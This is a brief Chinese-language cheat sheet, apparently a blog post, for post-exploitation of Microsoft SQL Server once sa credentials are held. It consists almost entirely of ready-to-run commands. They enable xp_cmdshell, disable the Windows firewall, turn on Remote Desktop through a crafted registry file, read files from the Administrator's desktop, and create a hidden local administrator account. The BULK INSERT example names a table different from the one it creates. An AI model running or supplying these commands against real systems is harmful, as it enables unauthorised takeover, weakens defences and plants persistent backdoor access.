SQLserver 提权、开启3389、关闭防火墙

<code>当拿到sa的权限后
nivacat:sa连接:查询--新建查询

1.启动xp_cmdshell(一条一条执行)
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

2.关闭防火墙(安全起见,还是一条一条执行,以下都是)
exec xp_cmdshell 'netsh firewall set opmode mode=disable';

3.开启3389:
exec xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>3389.reg'
exec xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec xp_cmdshell 'regedit /s 3389.reg'

4.查看桌面文件:
exec xp_cmdshell 'dir /a "C:\\Documents and Settings\\Administrator\\桌面"'

5.读文件:
第一种:
exec xp_cmdshell 'type "C:\\Documents and Settings\\Administrator\\桌面\\key.txt" '
第二种:
create table hyq(line varchar(8000));
bulk insert test from 'C:\\Documents and Settings\\Administrator\\桌面\\key.txt';
select * from test

6.添加用户(提权):
exec xp_cmdshell 'net user hyq888 888888 /add'
exec xp_cmdshell 'net localgroup administrators hyq888 /add'/<code>


分享到:


相關文章: